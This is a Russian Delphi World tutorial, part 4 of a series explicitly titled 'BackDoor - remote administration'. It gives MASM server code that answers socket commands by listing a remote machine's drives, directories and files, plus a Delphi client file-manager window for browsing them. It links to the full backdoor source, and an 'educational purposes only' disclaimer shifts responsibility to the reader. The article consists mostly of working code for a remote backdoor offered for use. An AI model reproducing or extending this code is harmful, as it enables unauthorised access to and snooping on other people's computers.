Delphi World - это проект, являющийся сборником статей и малодокументированных возможностей по программированию в среде Delphi. Здесь вы найдёте работы по следующим категориям: delphi, delfi, borland, bds, дельфи, делфи, дэльфи, дэлфи, programming, example, программирование, исходные коды, code, исходники, source, sources, сорцы, сорсы, soft, programs, программы, and, how, delphiworld, базы данных, графика, игры, интернет, сети, компоненты, классы, мультимедиа, ос, железо, программа, интерфейс, рабочий стол, синтаксис, технологии, файловая система...
BackDoor - удалённое администрирование 4

Автор: Danil
WEB-сайт: http://www.danil.dp.ua

- Можно ли загадать желание, если сидишь между двумя программистами?
- Можно! Только глючить будет.

Продолжим разговор о реализации моего клиента и сервера. В этой статье я дам описание как получать список файлов и каталогов с заданной директории на сервере и как их показать в клиенте. Рассмотрим кусок кода моего сервера с http://www.danil.dp.ua/dtr_s13s.zip 


; ListFileToClient
; Если команда = ld path
invoke lstrcmp, addr CommandStr, addr ListFileStr
.IF eax == 0
mov edi,Bufcmd
add edi,3
; Получаем path
invoke lstrcpy,addr CommandStr1,edi
invoke lstrlen, addr CommandStr1
invoke ltrim, addr CommandStr1, addr CommandStr1
invoke rtrim, addr CommandStr1, addr CommandStr1
invoke lstrcpy,addr path,addr CommandStr1
invoke lstrlen,addr path 
invoke ltrim, addr path, addr path
invoke rtrim, addr path, addr path
; Текущий каталог - path
invoke SetCurrentDirectory,addr path
.IF (eax == 0)
; Если нет, то текущий каталог - C:\
invoke SetCurrentDirectory,addr ListFileStr1
invoke lstrcpy, addr path,addr ListFileStr1
invoke ltrim, addr path, addr path
invoke rtrim, addr path, addr path
.ENDIF
; Запуск процы отсылки списка клиенту
invoke MyFilePath
jmp endREAD
.ENDIF

Здесь вроде все понятно - устанавливаем текущий каталог, в случае ошибки, текущим каталогом будет C:\, и вызываем процу, которая описана в строчках с 2288 по 2330 ("dtr13_s.asm"): 


; FilePath
MyFilePath PROC 
; Обнуляем буфер отправки
invoke lstrcpy, addr BufStr0, addr NilStr
invoke rtrim, addr BufStr0, addr BufStr0 
; В буфере отправки в начале ставим "[[[ListFile "
invoke lstrcat, addr BufStr0, addr ListFileStr02
invoke lstrcat, addr BufStr0, addr path
invoke lstrcat, addr BufStr0, addr ListFileStr3
invoke lstrlen, addr path
invoke lstrcpy, addr CommandStr3, addr path
invoke lstrcat, addr CommandStr3, addr wcs
; Вызываем FindFirstFile. Функция FindFirstFile находит 
; первый файл или каталог в текущей директории. FindNextFile 
; находит остальные. В случае ошибки или если файлы закончились,
; в eax у нас INVALID_HANDLE_VALUE
invoke FindFirstFile, addr CommandStr3, addr Finfo
mov cmd, eax
.IF eax != INVALID_HANDLE_VALUE
; Запускаем цикл поиска файлов
.WHILE TRUE 
invoke lstrcpy, addr CommandStr1, addr Finfo.cFileName
mov eax, Finfo.dwFileAttributes
and eax, FILE_ATTRIBUTE_DIRECTORY
; Если каталог, то выделяем
.IF (eax != 0)
invoke lstrcat, addr BufStr0, addr ListFileStr04
invoke lstrcat, addr BufStr0, addr CommandStr1
.ELSE
; Если файл то получаем размер
invoke lstrcat, addr BufStr0, addr CommandStr1
mov eax, Finfo.nFileSizeLow
invoke dwtoa, eax, addr CommandStr2
invoke lstrcat, addr BufStr0, addr NilStr
invoke lstrcat, addr BufStr0, addr NilStr
invoke lstrcat, addr BufStr0, addr NilStr
invoke lstrcat, addr BufStr0, addr NilStr
invoke lstrcat, addr BufStr0, addr bkl
invoke lstrcat, addr BufStr0, addr CommandStr2
.ENDIF
; Добавляем строку в буфер отправки
invoke lstrcat, addr BufStr0, addr ListFileStr3
; Вызываем FindNextFile
invoke FindNextFile, cmd, addr Finfo
; Выходим если ошибка или файлы закончились
.BREAK .IF (eax == 0)
invoke lstrlen, addr BufStr0
; Выходим если достигли макс. размера буфера
.BREAK .IF (eax > 6400)
.ENDW
invoke FindClose, cmd
; Отправляем список файлов клиенту
invoke send,client,addr BufStr0,sizeof BufStr0,0
invoke Sleep,10
.ENDIF 
ret
MyFilePath ENDP

Посмотрим в сервере участок кода, возвращающий список дисков в строках с 688 по 745: 


; ListDir
.IF (dword ptr [edi] == "dl")
; Если команда ld
invoke rtrim, addr NilStr, addr BufStr0 
; В буфере отправки в начале ставим "[[[ListDrvr "
invoke lstrcat, addr BufStr0, addr LstDrvStr005
invoke lstrcat, addr BufStr0, addr LstDrvStr000
invoke lstrcat, addr BufStr0, addr ListFileStr000
push edi
mov edi, offset LstDrvStr007
; Запускаем цикл по всем буквам англ. алфавита:
.WHILE TRUE
invoke lstrcpyn,addr CommandStr0,edi ,2
.BREAK .IF (byte ptr [CommandStr0] < 30)
invoke rtrim, addr NilStr, addr CommandStr1
invoke lstrcat, addr CommandStr1, addr CommandStr0
invoke lstrcat, addr CommandStr1, addr bkl1
; Пытаемся получить тип драйвера текущей буквы
invoke GetDriveType, addr CommandStr1
.IF eax == DRIVE_REMOVABLE 
; Если флоп и т.п.
invoke lstrcat, addr BufStr0, addr NilStr
invoke lstrcat, addr BufStr0, addr CommandStr1
invoke lstrcat, addr BufStr0, addr NilStr
invoke lstrcat, addr BufStr0, addr NilStr
invoke lstrcat, addr BufStr0, addr LstDrvStr001
invoke lstrcat, addr BufStr0, addr ListFileStr000
.ELSEIF eax == DRIVE_FIXED 
; Если жесткий
invoke lstrcat, addr BufStr0, addr NilStr
invoke lstrcat, addr BufStr0, addr CommandStr1
invoke lstrcat, addr BufStr0, addr NilStr
invoke lstrcat, addr BufStr0, addr NilStr
invoke lstrcat, addr BufStr0, addr LstDrvStr002
invoke lstrcat, addr BufStr0, addr ListFileStr000
.ELSEIF eax == DRIVE_REMOTE 
; Если сетевой
invoke lstrcat, addr BufStr0, addr NilStr
invoke lstrcat, addr BufStr0, addr CommandStr1
invoke lstrcat, addr BufStr0, addr NilStr
invoke lstrcat, addr BufStr0, addr NilStr
invoke lstrcat, addr BufStr0, addr LstDrvStr003
invoke lstrcat, addr BufStr0, addr ListFileStr000
.ELSEIF eax == DRIVE_CDROM 
; Если сидюк
invoke lstrcat, addr BufStr0, addr NilStr
invoke lstrcat, addr BufStr0, addr CommandStr1
invoke lstrcat, addr BufStr0, addr NilStr
invoke lstrcat, addr BufStr0, addr NilStr
invoke lstrcat, addr BufStr0, addr LstDrvStr004
invoke lstrcat, addr BufStr0, addr ListFileStr000
.ELSEIF eax == DRIVE_RAMDISK 
; Если в памяти
invoke lstrcat, addr BufStr0, addr NilStr
invoke lstrcat, addr BufStr0, addr CommandStr1
invoke lstrcat, addr BufStr0, addr NilStr
invoke lstrcat, addr BufStr0, addr NilStr
invoke lstrcat, addr BufStr0, addr LstDrvStr006
invoke lstrcat, addr BufStr0, addr ListFileStr000
.ENDIF
add edi,1
.ENDW
push edi
; Отправка клиенту
invoke send,client,addr BufStr0,sizeof BufStr0,0
invoke Sleep,10
jmp endREAD
.ENDIF

Теперь о клиенте. От сервера мы можем получить список файлов и дисков. В начале стоит "[[[ListFile path_#13_..." или "[[[ListDrvr ..." соответственно. Потом идут строки с именами файлов, каталогов или дисков, разделенных символом с кодом 13. Теперь откроем наш клиент. В "Form1" в "ToolBar1" создадим кнопку и назвем ее "Файловый менеджер" и будет она называться "ToolButton2" (см. мои предыдущие статьи). Нажмем на нее 2 раза. В "Unit1.pas" запишем : 


//Файловый менеджер
procedure TForm1.ToolButton2Click(Sender: TObject);
begin
  Form3.Visible := true;
  if Form3.WindowState = wsMinimized then
    Form3.WindowState := wsNormal;
  Form3.MyRefresh;
end;

По нажатию нашей кнопки у нас будет проявляться окно файлового менеджера. Создадим новую форму ("Form3"). Процедура "MyRefresh" будет объявлена в "Unit3.pas". На форме "Form3", создадим:

ToolBar1 (Win32)
панель управления;
ToolButton1
кнопка для обновить;
Edit1 (Standart)
текущий диск на сервере;
ListBox1 (Standart)
для списка файлов;
Button1 (Standart)
показать список зарегистр. на сервере дисков.

В свойстве "Sorted" "ListBox1" ставим "true". В "MaxLen " "Edit1" ставим 1. Выбираем собития "onChange" в "Edit1" (смена диска), "onDblClick" в "ListBox1" (сменить каталог), "onClick" в "ToolButton1" и "Button1" (обновить список файлов и вывести список дисков), "onCreat" в "Form3". Переходим в раздел кода "Unit3.pas": 


unit Unit3;

interface

uses
  Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
  StdCtrls, ToolWin, ComCtrls;

type
  TForm3 = class(TForm)
    ToolBar1: TToolBar;
    Edit1: TEdit;
    Label1: TLabel;
    ListBox1: TListBox;
    Button1: TButton;
    ToolButton1: TToolButton;
    procedure FormCreate(Sender: TObject);
    procedure Edit1Change(Sender: TObject);
    procedure ListBox1DblClick(Sender: TObject);
    procedure Button1Click(Sender: TObject);
    procedure ToolButton1Click(Sender: TObject);
    private
      { Private declarations }
    public
      { Public declarations }
      //Получить список с сервера
      procedure MyRefresh;
end;

var
  Form3: TForm3;
  // Переменные с текущим каталогом
  DopNDir: string;
  DopDDir: string;

implementation

uses
  Unit1;

{$R *.DFM}

//При создании формы
procedure TForm3.FormCreate(Sender: TObject);
begin
  // Текущий каталог в начале - C:\
  DopDDir := 'C:\';
  DopNDir := 'C:\';
  Form3.Edit1.Text := 'C';
end;

//Сменить диск
procedure TForm3.Edit1Change(Sender: TObject);
begin
  if trim(Form3.Edit1.Text) <> copy(DopNDir, 1, 1) then
  begin
    DopNDir := trim(Form3.Edit1.Text) + ':\';
    Form3.MyRefresh;
  end;
end;

//Обновить
procedure TForm3.ToolButton1Click(Sender: TObject);
begin
  Form3.MyRefresh;
end;

//Получить список с сервера
procedure TForm3.MyRefresh;
begin
  Form3.ListBox1.Items.Clear;
  if Form1.ClientSocket1.Active then
    Form1.ClientSocket1.Socket.SendText('ld ' + trim(DopNDir));
end;

// Войти в каталог
procedure TForm3.ListBox1DblClick(Sender: TObject);
var
  DopS01, DopS02, DopS03: string;
  I: Integer;
begin
  if (Form1.ClientSocket1.Active)and(Form3.ListBox1.Items.Count>0) then
  begin
    if (Form3.ListBox1.ItemIndex<2)and(length(trim(DopNDir))>3) then
    begin
      if length(DopNDir)>3 then
      begin
        // Если в начало диска
        if Form3.ListBox1.ItemIndex = 0 then
          Form1.ClientSocket1.Socket.SendText('ld ' + copy(DopNDir, 1, 3) + #0)
        else
        begin
          // Если на каталог назад
          DopS01 := trim(DopNDir);
          DopS02 := '';
          DopS03 := '';
          I := 1;
          repeat
            DopS02 := DopS02 + DopS01[I];
            if DopS01[I] = '\' then
            begin
              DopS03 := DopS03 + DopS02;
              DopS02 := '';
            end;
            inc(I);
          until
            I = length(DopS01);
          Form1.ClientSocket1.Socket.SendText('ld '+trim(DopS03)+#0);
        end;
      end;
    end
    else
      // Если войти в каталог
      if copy(Form3.ListBox1.Items.Strings[Form3.ListBox1.ItemIndex], 1, 8) = ' DIR: ' then
        Form1.ClientSocket1.Socket.SendText('ld '+trim(DopNDir)+trim(copy (Form3.ListBox1.Items.Strings[Form3.ListBox1.ItemIndex],9,length (Form3.ListBox1.Items.Strings[Form3.ListBox1.ItemIndex])-1))+'\'+#0);
  end;
end;

// Показать список зарегистр. на сервере дисков
procedure TForm3.Button1Click(Sender: TObject);
begin
  Form1.ClientSocket1.Socket.SendText('ld');
end;

end.

Переходим в раздел кода "Unit1.pas", находим процедуру обработки очереди "TRecvThread.CommandRecvThread". Для файлового менеджера перепишем ее так: 


// обработка очереди
procedure TRecvThread.CommandRecvThread;
var
  LstRdop: TLstRecv;
  i: Integer;
  DopS, Dop1, Dop2: string;
label
  ex;
begin
  LstRdop := LstRbeg;
  if LstRdop <> nil then
  begin
    try
      DopS := '';
      DopS := LstRdop^.BufIn;

      // Если в начале "[[[ListFile "
      if copy(DopS, 1, 12) = '[[[ListFile ' then
      begin
        Form3.ListBox1.Items.Clear;
        Form3.Enabled := false;
        I := 13;
        Dop1 := '';
        // Получаем текущий каталог
        while not(ord(DopS[I])<30) do
        begin
          Dop1 := Dop1 + DopS[I];
          inc(I);
        end;
        inc(I);
        DopNDir := Dop1;
        // Пишем текущий диск
        Form3.Edit1.Text := copy(Dop1,1,1);
        // Получаем все, кроме "[[[ListFile " и текущего диска
        Dop1 := copy(DopS, I, length(DopS) - I + 1);
        // И пишем в "ListBox1"
        Form3.ListBox1.Items.Text := Dop1;
        if Form3.Visible then
        begin
          if Form3.WindowState = wsMinimized then
            Form3.WindowState := wsNormal;
          Form3.SetFocus;
          Form3.ListBox1.SetFocus;
          Form3.ListBox1.ItemIndex := 0;
        end;
        Form3.Enabled := true;
        goto ex;
      end;

      // Если вначале "[[[ListDrvr "
      if copy(DopS, 1, 12) = '[[[ListDrvr ' then
      begin
        I := 13;
        Dop1 := '';
        while not(ord(DopS[I]) < 30) do
        begin
          Dop1 := Dop1 + DopS[I];
          inc(I);
        end;
        inc(I);
        Dop2 := copy(DopS, I, length(DopS) - I + 1);
        // Выводим окно со списком дисков
        Application.MessageBox(PChar(Dop2), PChar(Dop1), mb_Ok + mb_IconAsterisk + mb_ApplModal);
        goto ex;
      end;

      // Если не список файлов и дисков
      if trim(DopS) <> '' then
        Form1.Memo1.Lines.Add(DopS + #13);
      ex :
    finally
      if LstRDop^.Point <> nil then
        LstRbeg := LstRDop^.Point
      else
        LstRbeg := nil;

      if LstRbeg = nil then
        LstRend := nil;

      Dispose(LstRdop);
    end;
  end;
end;

Проверим. Запустим сервер и клиент. Сконнектимся. Нажмем кнопку "Файловый менеджер". В появившемся окне нажмем "Button1". Все, проверка закончена.

P.S. Статья и программа предоставлена в целях обучения и вся ответственность за использование ложится на твои хилые плечи.

Проект Delphi World © Выпуск 2002 - 2004
Автор проекта: ___Nikolay